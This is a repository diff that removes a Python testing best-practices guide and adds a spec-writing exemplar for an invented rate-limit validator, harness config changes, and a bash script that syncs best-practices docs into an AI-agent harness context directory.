-    mock_clone = Mock(side_effect=subprocess.CalledProcessError(128, "git"))
-
-    # WHEN — act
-    exit_code = run_entrypoint(payload, clone_handler=mock_clone)
-
-    # THEN — assert
-    assert exit_code == 1
-    mock_runner.assert_not_called()
-    mock_on_error.assert_called_once()
-```
-
-### Parameterised Tests from Spec Enumerations
-
-When a spec lists multiple valid values, use `@pytest.mark.parametrize`:
-
-```python
-# From spec: task states are pending, assigned, running, succeeded, failed, timed_out, cancelled
-@pytest.mark.parametrize("terminal_state", ["succeeded", "failed", "timed_out", "cancelled"])
-def test_cp_terminal_state_cannot_be_overwritten(terminal_state):
-    """CP: Terminal states reject further transitions with 409."""
-```
-
-## Systematic Edge Case Discovery
-
-~80% of bugs cluster at boundaries. Use these techniques to find edge cases systematically rather than by intuition.
-
-### Boundary Value Analysis
-
-For every input parameter, test at the edges of its valid range:
-
-| Input type | Test values |
-|---|---|
-| Integer (range 1-100) | 0, 1, 2, 99, 100, 101, -1, MAX_INT |
-| String | `""`, `"a"`, max-length string, max+1, unicode (`"\u0000"`, emoji), whitespace-only |
-| List/Array | `[]`, `[single]`, many items, duplicates, `None` |
-| Dict/Map | `{}`, missing required keys, extra unknown keys, `None` values |
-| Timeout (seconds) | 0, 1, -1, very large (999999), `None`/missing |
-| Base64 | valid, invalid chars, empty, padding variants (`=`, `==`, none) |
-
-### Equivalence Partitioning
-
-Group inputs into classes where all members should behave identically. Test one from each class:
-
-```python
-# Payload validation: prompt field
-# Class 1: valid string → accepted
-# Class 2: empty string → rejected (spec says prompt is required)
-# Class 3: missing key → rejected
-# Class 4: wrong type (int, list, None) → rejected
-# Class 5: very long string → accepted (no length limit in spec)
-
-@pytest.mark.parametrize("prompt,should_pass", [
-    ("Fix the bug", True),          # Class 1: valid
-    ("", False),                     # Class 2: empty
-    (None, False),                   # Class 3: missing/None
-    (42, False),                     # Class 4: wrong type
-    ("x" * 100_000, True),          # Class 5: long string
-])
-def test_p_prompt_validation(prompt, should_pass):
-    ...
-```
-
-### State Transition Coverage
-
-For state machines (task states, dispatcher states), test:
-
-1. **Every valid transition:** `pending → assigned → running → succeeded`
-2. **Every invalid transition:** `succeeded → running` (should be rejected)
-3. **Initial state:** newly created tasks start in `pending`
-4. **Terminal states:** `succeeded`, `failed`, `timed_out`, `cancelled` cannot transition further
-5. **Re-entrant transitions:** same state → same state (should be idempotent or rejected, per spec)
-
-```python
-VALID_TRANSITIONS = [
-    ("pending", "assigned"),
-    ("assigned", "running"),
-    ("running", "succeeded"),
-    ("running", "failed"),
-    ("running", "timed_out"),
-    ("assigned", "cancelled"),
-    ("running", "cancelled"),
-]
-
-INVALID_TRANSITIONS = [
-    ("succeeded", "failed"),
-    ("failed", "running"),
-    ("cancelled", "pending"),
-    ("timed_out", "running"),
-]
-
-@pytest.mark.parametrize("from_state,to_state", VALID_TRANSITIONS)
-def test_valid_state_transition(from_state, to_state):
-    ...
-
-@pytest.mark.parametrize("from_state,to_state", INVALID_TRANSITIONS)
-def test_invalid_state_transition_rejected(from_state, to_state):
-    ...
-```
-
-### The Edge Case Checklist
-
-Walk through this for every function under test:
-
-1. **Empty/null inputs** — what happens when required fields are missing?
-2. **Boundary values** — min, max, zero, negative, off-by-one
-3. **Type mismatches** — string where int expected, list where dict expected
-4. **Malformed input** — invalid JSON, bad base64, truncated data
-5. **Concurrent operations** — two tasks claiming the same resource
-6. **Ordering** — actions that depend on sequence (pre-action before runner)
-7. **Idempotency** — calling the same operation twice (kill an already-killed container)
-8. **Resource exhaustion** — at capacity, disk full, timeout expired
-9. **Partial failure** — first action succeeds, second fails (cleanup?)
-
-## Property-Based Testing with Hypothesis
-
-Instead of specifying individual test cases, define *properties* that must hold for all inputs. Hypothesis generates hundreds of inputs including edge cases you'd never think of.
-
-### When to Use Property-Based Testing
-
-- **Serialisation roundtrips:** encode → decode returns original
-- **Parsers:** should never crash on any input
-- **Data transformations:** invariants that hold regardless of input
-- **Validators:** valid inputs accepted, invalid inputs rejected (never crash)
-
-### When NOT to Use It
-
-- Tests where generating valid inputs is harder than the code itself
-- Tests where the "property" just restates the implementation
-- UI or integration tests
-
-### Patterns
-
-```python
-from hypothesis import given, strategies as st, assume, settings
-from hypothesis import example
-
-# Roundtrip: base64 encode/decode preserves payload
-@given(st.text())
-def test_base64_roundtrip(payload_str):
-    encoded = base64.b64encode(payload_str.encode()).decode()
-    decoded = base64.b64decode(encoded).decode()
-    assert decoded == payload_str
-
-# Invariant: payload validation never crashes (may reject, never exception)
-@given(st.dictionaries(st.text(), st.text() | st.integers() | st.none()))
-def test_payload_validation_never_crashes(raw_payload):
-    # Should return True/False or raise ValidationError — never unhandled exception
-    try:
-        validate_payload(raw_payload)
-    except ValidationError:
-        pass  # Expected for invalid input
-
-# Pin known edge cases alongside random generation
-@example("")           # empty string
-@example("\x00")       # null byte
-@example("a" * 10**6)  # very long
-@given(st.text())
-def test_prompt_handling(prompt):
-    ...
-
-# Composite strategies for domain objects
-@st.composite
-def valid_payloads(draw):
-    return {
-        "task_id": draw(st.uuids()).hex,
-        "prompt": draw(st.text(min_size=1)),
-        "runtime": {"cli": draw(st.sampled_from(["claude", "codex"]))},
-    }
-
-@given(valid_payloads())
-def test_valid_payload_always_accepted(payload):
-    assert validate_payload(payload) is True
-```
-
-### Stateful Testing for State Machines
-
-Hypothesis can generate sequences of operations and check invariants after each step:
-
-```python
-from hypothesis.stateful import RuleBasedStateMachine, rule, precondition
-
-class TaskStateMachine(RuleBasedStateMachine):
-    def __init__(self):
-        super().__init__()
-        self.task = Task(state="pending")
-
-    @rule()
-    @precondition(lambda self: self.task.state == "pending")
-    def assign(self):
-        self.task.transition("assigned")
-        assert self.task.state == "assigned"
-
-    @rule()
-    @precondition(lambda self: self.task.state == "running")
-    def complete(self):
-        self.task.transition("succeeded")
-        assert self.task.state == "succeeded"
-
-    # Invariant: terminal states never change
-    @invariant()
-    def terminal_states_are_final(self):
-        if self.task.state in ("succeeded", "failed", "cancelled"):
-            with pytest.raises(InvalidTransition):
-                self.task.transition("running")
-
-TestTaskStates = TaskStateMachine.TestCase
-```
-
-## Mutation Testing
-
-Mutation testing answers: "If someone introduced a bug, would our tests catch it?"
-
-Tools make small code changes (replacing `>` with `>=`, `True` with `False`, deleting statements) and check if tests still pass. Surviving mutants = test gaps.
-
-### Setup with mutmut
-
-```toml
-# pyproject.toml
-[tool.mutmut]
-paths_to_mutate = "entrypoint/"
-tests_dir = "tests/"
-runner = "python -m pytest tests/ -x -q"
-```
-
-```bash
-# Run mutation testing
-mutmut run
-
-# See surviving mutants
-mutmut results
-
-# Inspect a specific mutant
-mutmut show 42
-```
-
-### Practical Guidance
-
-- **Target: mutation score above 80%.** Scores above 90% have diminishing returns (equivalent mutants).
-- **Focus on business logic** — validators, state machines, parsers. Skip glue code.
-- **Use mutation testing to audit AI-generated tests.** This is the most powerful combination: AI writes tests from spec, mutation testing verifies those tests catch real faults.
-- **Run on changed files only in CI** (full suite is slow). Full run nightly or pre-release.
-
-## Test Architecture
-
-### The Testing Pyramid for Spec-Driven Projects
-
-| Layer | Proportion | Speed | What it catches |
-|---|---|---|---|
-| Unit tests | 60-70% | <1ms each | Logic errors, boundary violations, state machine bugs |
-| Property-based | 10-15% | ~10ms each | Edge cases humans miss, roundtrip failures, crash inputs |
-| Integration | 15-20% | ~100ms each | Component interaction bugs, mock/reality divergence |
-| E2E / acceptance | 5-10% | ~1s+ each | Full-chain failures, deployment config issues |
-
-### Test Isolation Principles
-
-- **No test depends on another test's state.** Each test sets up its own preconditions.
-- **No test depends on execution order.** `pytest-randomly` catches order dependencies.
-- **No test touches the real filesystem outside `tmp_path`.** Monkeypatch paths that default to production locations (like `/workspace`).
-- **No test makes network calls.** Mock HTTP, subprocess, and socket calls.
-- **Integration tests are marked** (`@pytest.mark.integration`) and excluded by default.
-
-### Fixture Architecture
-
-```python
-# conftest.py — shared fixtures, not test logic
-
-@pytest.fixture
-def minimal_payload():
-    """Smallest valid payload — tests shouldn't need more unless testing specific fields."""
-    return {"task_id": "test-123", "prompt": "do something", "runtime": {"cli": "claude"}}
-
-@pytest.fixture
-def encode_payload():
-    """Helper: dict → base64 string (how the dispatcher passes payloads)."""
-    def _encode(d):
-        return base64.b64encode(json.dumps(d).encode()).decode()
-    return _encode
-
-# Per-module conftest for module-specific fixtures
-# tests/test_dispatcher/conftest.py
-@pytest.fixture
-def mock_backend():
-    """Fake container backend that records calls without Docker."""
-    ...
-```
-
-### Negative Tests Are as Important as Positive Tests
-
-For every "this works" test, write at least one "this fails correctly" test:
-
-```python
-# Positive: valid payload accepted
-def test_p1_valid_payload_loads():
-    ...
-
-# Negative: missing required field rejected
-def test_p3_missing_prompt_raises():
-    ...
-
-# Negative: wrong type rejected
-def test_p_prompt_wrong_type_raises():
-    ...
-
-# Negative: extra unknown fields are ignored (not rejected)
-def test_p_unknown_fields_ignored():
-    ...
-```
-
-## AI Agent Testing Patterns
-
-### The Two-Phase Rule
-
-**Never let the same agent write both tests and implementation in one pass.** An agent that writes tests and code together will unconsciously write tests that verify its own broken assumptions.
-
-The workflow:
-1. **Phase 1:** Agent reads spec → writes tests. Human reviews tests against spec.
-2. **Phase 2:** Agent (or different agent) reads spec + tests → writes implementation until tests pass.
-
-### Hidden Test Splits
-
-Hold back some tests that the implementing agent never sees. Use them as a final validation:
-
-```python
-# tests/test_payload.py — agent sees these during development
-def test_p1_load_from_env_var(): ...
-def test_p2_missing_payload_exits_1(): ...
-
-# tests/test_payload_hidden.py — agent never sees these, run post-implementation
-# (Marked with a custom marker, excluded from default run)
-@pytest.mark.hidden
-def test_p1_load_from_file_fallback(): ...
-@pytest.mark.hidden
-def test_p_concurrent_payload_loads(): ...
-```
-
-### Regression Tests from Real Bugs
-
-Every bug found in production or during integration testing becomes a permanent test case:
-
-```python
-def test_regression_crlf_corruption():
-    """Regression: smtp-oauth-relay converted \\r\\n to \\n, breaking quoted-printable.
-    Fixed by as_bytes(policy=email_policy.SMTP). See memory/gotchas-email-relay.md."""
-    ...
-```
-
-These are the highest-value tests because they catch proven failure modes.
-
-## Test Quality Metrics
-
-### What to Measure
-
-| Metric | Target | Why |
-|---|---|---|
-| Spec coverage | 100% | Every numbered requirement has at least one test |
-| Mutation score | >80% | Tests catch real faults, not just inflate coverage |
-| Line coverage | >90% | Baseline hygiene (necessary but not sufficient) |
-| Test speed | <10s total | Fast enough for pre-commit hooks |
-| Assertion density | >1 per test | Tests that don't assert don't catch anything |
-
-### What NOT to Measure
-
-- **100% line coverage as a goal.** Chasing 100% leads to tests that exercise code paths without meaningful assertions.
-- **Test count.** 50 well-targeted tests beat 200 shallow ones.
-- **Test-to-code ratio.** The ratio depends on the module's complexity, not a universal number.
-
-## CI Integration
-
-### Pre-commit (Every Commit)
-```bash
-pytest tests/ -x -q --tb=short -m "not integration"
-```
-
-### PR Validation (Every Push)
-```bash
-# Unit + property-based tests
-pytest tests/ -q --tb=short -m "not integration"
-# Mutation testing on changed files only
-mutmut run --paths-to-mutate="$(git diff --name-only main... | grep '.py$' | tr '\n' ',')"
-```
-
-### Nightly
-```bash
-# Full mutation testing
-mutmut run
-# Integration tests (requires Docker)
-pytest tests/ -m integration
-# Hidden test validation
-pytest tests/ -m hidden
-```
-
-## Python Testing Gotchas
-
-### `subprocess.run(check=True)` Is Invisible to Mocks
-
-When you mock `subprocess.run`, the mock replaces the entire function — including the `check=True` logic that raises `CalledProcessError`. A mock returning `CompletedProcess(returncode=1)` won't trigger the exception even though the real code uses `check=True`. To test failure paths, use `side_effect=CalledProcessError(...)` explicitly.
-
-### Use Routing Callables for Multi-Call Subprocess Mocks
-
-When a function calls `subprocess.run` multiple times (e.g., git config, add, diff, commit, push), a fixed `side_effect` list is fragile and breaks when call order changes. Instead, use a routing callable that inspects the command: `mock_run.side_effect = lambda cmd, **kw: route_by_command(cmd)`. Clearer, more maintainable, and self-documenting.
-
-### Pydantic v2 `@field_validator` Doesn't Fire for Default Values
-
-`@field_validator('field_name')` never runs when the field takes its default value (e.g., `None`). Cross-field validation logic (e.g., "if type is X then field Y is required") silently passes when the dependent field is omitted. Use `@model_validator(mode='after')` for any validation that depends on multiple fields or needs to fire even when fields take defaults.
-
-### Never `sys.exit()` at Module Level
-
-`sys.exit()` in an `except ImportError` block at module level kills pytest collection entirely — all tests fail, not just the ones for that module. Use a flag pattern instead: `_HAS_DEPENDENCY = False` in the except block, then check `if not _HAS_DEPENDENCY: return 1` inside the function. This allows the module to be imported and mocked even when the optional dependency is missing.
-
-### Use `pytest.importorskip` for Optional Dependency Tests
-
-When test files import optional packages (e.g., `sqlalchemy`, `psycopg`) at module level, pytest collection fails for the entire test suite — not just the tests that need that package. Use `mod = pytest.importorskip("sqlalchemy")` and then attribute access (`mod.text`). Also guard transitive imports: `pytest.importorskip("myapp.db.postgres_store")` if the module itself imports the optional package at module level.
-
-### Patch Individual Functions, Not Whole Modules
-
-Patching an entire module (e.g., `patch("mod.kubernetes.config")`) replaces exception classes with MagicMock objects. `except SomeException` then catches `MagicMock` instead of the real exception, causing tests to pass the wrong code path. Patch individual functions (`load_incluster_config`, `load_kube_config`) and leave exception classes intact so `except` clauses work correctly.
-
-### Async Migration Requires Full Test Conversion
-
-When migrating a codebase from sync to async, helper functions get converted but test functions are often left as sync `def`. Every test that calls an async function needs `async def` + `@pytest.mark.asyncio` + `await`. After any async migration, run tests and grep for `RuntimeWarning: coroutine '...' was never awaited` to find remaining sync-to-async gaps.
-
-## Anti-Patterns
-
-### Tests that mirror implementation
-**Symptom:** Test asserts that function calls happen in a specific order, using mock.assert_has_calls with exact sequences. Breaks on any refactor.
-**Fix:** Test behaviour (inputs → outputs), not implementation details.
-
-### Tests without assertions
-**Symptom:** `test_it_runs()` calls the function and checks it doesn't crash. No assertion on the result.
-**Fix:** Every test must assert something specific about the output, side effects, or raised exceptions.
-
-### Overmocking
-**Symptom:** Every dependency is mocked. Tests pass but integration fails because mocks don't match real behaviour.
-**Fix:** Mock at the boundary (subprocess, HTTP, filesystem), not between your own modules. Use real objects for internal dependencies.
-
-### Fragile tests
-**Symptom:** Tests break when unrelated code changes. Usually caused by asserting on implementation details, shared mutable state, or execution order.
-**Fix:** Test the public interface. Use fixtures for setup. Isolate each test completely.
-
-### Testing private methods
-**Symptom:** Tests import `_internal_helper` and test it directly. These break on any refactor.
-**Fix:** Test through the public API. If a private method is complex enough to need its own tests, it should probably be a separate module with a public interface.

harnesses/contexts/spec-writing/v1/CLAUDE.md

@@ -20,6 +20,14 @@ Before starting any spec, read these from `/workspace/best-practices/`:
 
 Read at minimum the four "Always" files. Read others based on the task domain.
 
+Before drafting, also read the worked exemplar at
+`/opt/harness/context/spec-writing/spec-exemplar.md`. It shows the full section
+structure (module layout table, numbered requirements with Why: lines and exact
+error messages, a pattern table usable as a parametrize matrix, GIVEN/WHEN/THEN
+scenarios) applied to a small invented subsystem. A spec must let a test-writer
+agent produce imports, assertions, and mocks with no other input — the exemplar is
+the bar for that level of concreteness.
+
 ## Spec Structure
 
 Every spec must follow this structure:

harnesses/contexts/spec-writing/v1/harness.yaml

@@ -9,3 +9,5 @@ provides: [spec-writer]
 context_files:
   - source: ./CLAUDE.md
     target: /opt/harness/context/spec-writing/CLAUDE.md
+  - source: ./spec-exemplar.md
+    target: /opt/harness/context/spec-writing/spec-exemplar.md

harnesses/contexts/spec-writing/v1/spec-exemplar.md

@@ -0,0 +1,133 @@
+# Spec Exemplar: Rate-Limit Config Validator
+
+This is a compact worked example of a spec written for **mechanical test generation**
+(see `mechanical-test-generation.md` in `/workspace/best-practices/`). It covers a small,
+self-contained subsystem end-to-end so every section can be read in full. Use it as the
+structural template for real specs — same section order, same requirement shape, same
+level of concreteness. The subsystem itself (a rate-limit config validator) is invented
+for this exemplar; it is not part of any real codebase in this project.
+
+A test-writer agent given ONLY this document should be able to produce correct imports,
+correct assertion values, and correct mock boundaries with no other input — no reading
+the codebase, no guessing module paths, no inventing error message text.
+
+---
+
+## Overview
+
+The rate-limit config validator loads a service's rate-limit policy from a YAML file,
+validates it against structural and semantic rules, and produces a `RateLimitPolicy`
+object that the gateway middleware consumes at startup. It exists to catch
+misconfiguration (overlapping rules, invalid windows, negative limits) before the
+gateway starts serving traffic, rather than failing silently at request time.
+
+## Responsibilities
+
+- Parse a rate-limit policy YAML file into typed Pydantic models
+- Validate structural correctness (required fields, types, value ranges)
+- Validate semantic correctness (no two rules match the same route + method with
+  different limits; window units are one of a fixed set)
+- Produce a single validation report listing every error found (not just the first)
+- Expose `load_policy(path) -> RateLimitPolicy` as the sole public entry point
+
+## Dependencies
+
+- `pydantic` v2 (data models and field validation)
+- `pyyaml` (YAML parsing) — errors from malformed YAML are caught and re-raised as
+  `PolicyLoadError`, never allowed to propagate as raw `yaml.YAMLError`
+- No network calls, no filesystem writes — this is a pure load-and-validate module
+
+## Module Layout
+
+| Module | Location | Key exports |
+|---|---|---|
+| Policy models | `gateway/ratelimit/models.py` | `RateLimitRule`, `RateLimitPolicy`, `WindowUnit` (enum: `second`, `minute`, `hour`) |
+| Validator | `gateway/ratelimit/validator.py` | `load_policy(path: str) -> RateLimitPolicy`, `PolicyLoadError`, `PolicyValidationError` |
+| Overlap check | `gateway/ratelimit/overlap.py` | `find_overlapping_rules(rules: list[RateLimitRule]) -> list[tuple[RateLimitRule, RateLimitRule]]` |
+
+| Test file | Spec requirements covered |
+|---|---|
+| `tests/ratelimit/test_models.py` | RLV-1, RLV-2 |
+| `tests/ratelimit/test_validator.py` | RLV-3, RLV-4, RLV-5 |
+| `tests/ratelimit/test_overlap.py` | RLV-6 |
+
+## Requirements
+
+- **RLV-1:** `RateLimitRule.limit` MUST be a positive integer (`>= 1`). A value of `0`
+  or negative raises `pydantic.ValidationError` at model construction time.
+  - Why: A zero or negative limit is not a valid rate limit — it either blocks
+    everything or is meaningless. Catching it at the model layer means every caller
+    gets the same guarantee for free, without re-checking in the validator.
+  - **Scenario:** GIVEN a rule dict `{"route": "/api/orders", "method": "POST", "limit": 0, "window": 60, "window_unit": "second"}`, WHEN `RateLimitRule(**rule)` is constructed, THEN `pydantic.ValidationError` is raised mentioning field `limit`.
+
+- **RLV-2:** `RateLimitRule.window_unit` MUST be one of `WindowUnit.second`,
+  `WindowUnit.minute`, `WindowUnit.hour`. Any other string value raises
+  `pydantic.ValidationError` at construction time — no case-insensitive matching,
+  no aliasing (`"secs"`, `"s"` are rejected).
+  - Why: Silent unit aliasing is how a `window: 5, window_unit: "s"` rule quietly
+    becomes a 5-hour window instead of 5 seconds. Reject anything not in the enum.
+  - **Scenario:** GIVEN a rule dict with `"window_unit": "seconds"` (plural, not in the enum), WHEN `RateLimitRule(**rule)` is constructed, THEN `pydantic.ValidationError` is raised mentioning field `window_unit`.
+
+- **RLV-3:** `load_policy(path)` MUST raise `PolicyLoadError` with the message
+  `"failed to parse YAML: <path>"` when the file exists but contains malformed YAML.
+  The underlying `yaml.YAMLError` MUST NOT propagate directly.
+  - Why: The gateway's startup code catches `PolicyLoadError` specifically to produce
+    a clean "refusing to start: bad rate-limit config" message. Letting a raw
+    `yaml.YAMLError` through breaks that error handling and dumps a parser traceback
+    on operators instead.
+  - **Scenario:** GIVEN a file containing `route: [unclosed`, WHEN `load_policy(path)` is called, THEN `PolicyLoadError` is raised with message `"failed to parse YAML: <path>"`.
+
+- **RLV-4:** `load_policy(path)` MUST raise `FileNotFoundError` (not `PolicyLoadError`)
+  when `path` does not exist on disk.
+  - Why: Missing file and malformed file are different failure classes for an
+    operator — missing file usually means a deploy/mount problem, malformed file
+    means a config authoring problem. Callers need to tell them apart.
+  - **Scenario:** GIVEN `path = "/etc/gateway/does-not-exist.yaml"`, WHEN `load_policy(path)` is called, THEN `FileNotFoundError` is raised.
+
+- **RLV-5:** `load_policy(path)` MUST raise `PolicyValidationError` collecting ALL
+  semantic validation failures (not just the first) when the parsed rules contain
+  overlapping routes (see RLV-6) or duplicate `(route, method)` pairs with identical
+  limits. `PolicyValidationError.errors` is a `list[str]`, one entry per problem
+  found, each in the form `"<route> <method>: <reason>"`.
+  - Why: Config authors iterate faster when they see every problem in one pass
+    instead of fixing one error, rerunning, hitting the next error.
+  - **Scenario:** GIVEN a policy YAML with two rules both matching `POST /api/orders` at different limits, and a third rule with `window_unit: "hour"` and `window: 0`, WHEN `load_policy(path)` is called, THEN `PolicyValidationError` is raised with `len(errors) == 2`.
+
+- **RLV-6:** `find_overlapping_rules(rules)` MUST return every pair of rules that
+  share the same `route` and `method` but have a different `limit`, `window`, or
+  `window_unit`. Rules with identical `(route, method)` AND identical
+  `(limit, window, window_unit)` are NOT considered overlapping (harmless
+  duplication, not a conflict) — implementation note: dedupe on the full tuple
+  before pairing, not just `(route, method)`.
+  - Why: Two rules for the same route+method with different limits is ambiguous —
+    which one applies at request time is undefined. Two identical rules are just a
+    copy-paste no-op and shouldn't block a deploy.
+  - **Scenario:** GIVEN rules `[{route: "/x", method: "GET", limit: 10, window: 60, window_unit: "second"}, {route: "/x", method: "GET", limit: 20, window: 60, window_unit: "second"}]`, WHEN `find_overlapping_rules(rules)` is called, THEN it returns one pair containing both rules.
+
+## Pattern Table (parametrize matrix)
+
+| `window_unit` input | Valid? | Why |
+|---|---|---|
+| `"second"` | ✓ | matches `WindowUnit.second` |
+| `"minute"` | ✓ | matches `WindowUnit.minute` |
+| `"hour"` | ✓ | matches `WindowUnit.hour` |
+| `"seconds"` | ✗ | plural not aliased (RLV-2) |
+| `"SECOND"` | ✗ | no case-insensitive matching (RLV-2) |
+| `"s"` | ✗ | no abbreviation aliasing (RLV-2) |
+| `"day"` | ✗ | not a supported unit |
+| `""` | ✗ | empty string is not a valid enum member |
+
+## Scenarios
+
+### Happy path: valid policy loads cleanly
+**GIVEN** a policy YAML with three non-overlapping rules, all fields valid.
+**WHEN** `load_policy(path)` is called.
+**THEN** it returns a `RateLimitPolicy` with `len(policy.rules) == 3` and no exception
+is raised.
+
+### Atomic failure: partial policy never returned on validation error
+**GIVEN** a policy YAML where rule 1 is valid and rule 2 has `limit: -5`.
+**WHEN** `load_policy(path)` is called.
+**THEN** `pydantic.ValidationError` propagates from rule 2's construction and
+`load_policy` does not return a partially-built `RateLimitPolicy` — the caller gets
+either a complete, fully-valid policy or an exception, never a partial object.

scripts/sync-best-practices.sh

@@ -0,0 +1,96 @@
+#!/usr/bin/env bash
+# Run after /distill-best-practices updates the canonical repo; then commit the CRS
+# and PUT the attachment to force reload.
+#
+# Syncs the enumerated best-practices docs from the canonical
+# ~/dev/claude/projects/best-practices/ repo into this repo's harness context
+# directory/directories. Prints a per-file changed/unchanged summary.
+#
+# Usage: scripts/sync-best-practices.sh
+set -euo pipefail
+
+# ── Colors ────────────────────────────────────────────────────────────────
+if [[ -t 1 ]]; then
+  C_GREEN=$'\033[0;32m'
+  C_YELLOW=$'\033[0;33m'
+  C_RED=$'\033[0;31m'
+  C_RESET=$'\033[0m'
+else
+  C_GREEN=""
+  C_YELLOW=""
+  C_RED=""
+  C_RESET=""
+fi
+
+# ── Paths ─────────────────────────────────────────────────────────────────
+CANONICAL_DIR="${HOME}/dev/claude/projects/best-practices"
+SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+REPO_ROOT="$(cd "${SCRIPT_DIR}/.." && pwd)"
+
+# Destination context dirs that carry a synced copy of the docs.
+# best-practices/v1 is the canonical mount target; add further dirs here only
+# if a future context deliberately keeps its own synced copy (see SYNC-NOTE.md
+# convention) rather than relying on harness `requires:` inheritance.
+DEST_DIRS=(
+  "${REPO_ROOT}/harnesses/contexts/best-practices/v1/best-practices"
+)
+
+# Docs to sync (without .md extension).
+DOCS=(
+  api-design
+  database-selection
+  docker
+  kubernetes
+  llm-code-security
+  secrets-management
+  security-architecture
+  spec-driven-development
+  test-driven-development
+  scripting
+  mechanical-test-generation
+)
+
+# ── Preconditions ────────────────────────────────────────────────────────
+if [[ ! -d "${CANONICAL_DIR}" ]]; then
+  echo "${C_RED}ERROR: canonical best-practices dir not found: ${CANONICAL_DIR}${C_RESET}" >&2
+  exit 1
+fi
+
+changed_count=0
+unchanged_count=0
+missing_count=0
+
+for dest_dir in "${DEST_DIRS[@]}"; do
+  mkdir -p "${dest_dir}"
+  echo "== Syncing into ${dest_dir#"${REPO_ROOT}"/} =="
+
+  for doc in "${DOCS[@]}"; do
+    src="${CANONICAL_DIR}/${doc}.md"
+    dst="${dest_dir}/${doc}.md"
+
+    if [[ ! -f "${src}" ]]; then
+      echo "  ${C_RED}MISSING${C_RESET}   ${doc}.md (not found in canonical repo)"
+      missing_count=$((missing_count + 1))
+      continue
+    fi
+
+    if [[ -f "${dst}" ]] && cmp -s "${src}" "${dst}"; then
+      echo "  ${C_YELLOW}unchanged${C_RESET} ${doc}.md"
+      unchanged_count=$((unchanged_count + 1))
+    else
+      cp "${src}" "${dst}"
+      echo "  ${C_GREEN}changed${C_RESET}   ${doc}.md"
+      changed_count=$((changed_count + 1))
+    fi
+  done
+done
+
+echo
+echo "Summary: ${C_GREEN}${changed_count} changed${C_RESET}, ${C_YELLOW}${unchanged_count} unchanged${C_RESET}, ${C_RED}${missing_count} missing${C_RESET}"
+
+if [[ "${missing_count}" -gt 0 ]]; then
+  echo "${C_RED}One or more docs were missing from the canonical repo — check DOCS list and canonical filenames.${C_RESET}" >&2
+  exit 1
+fi
+
+exit 0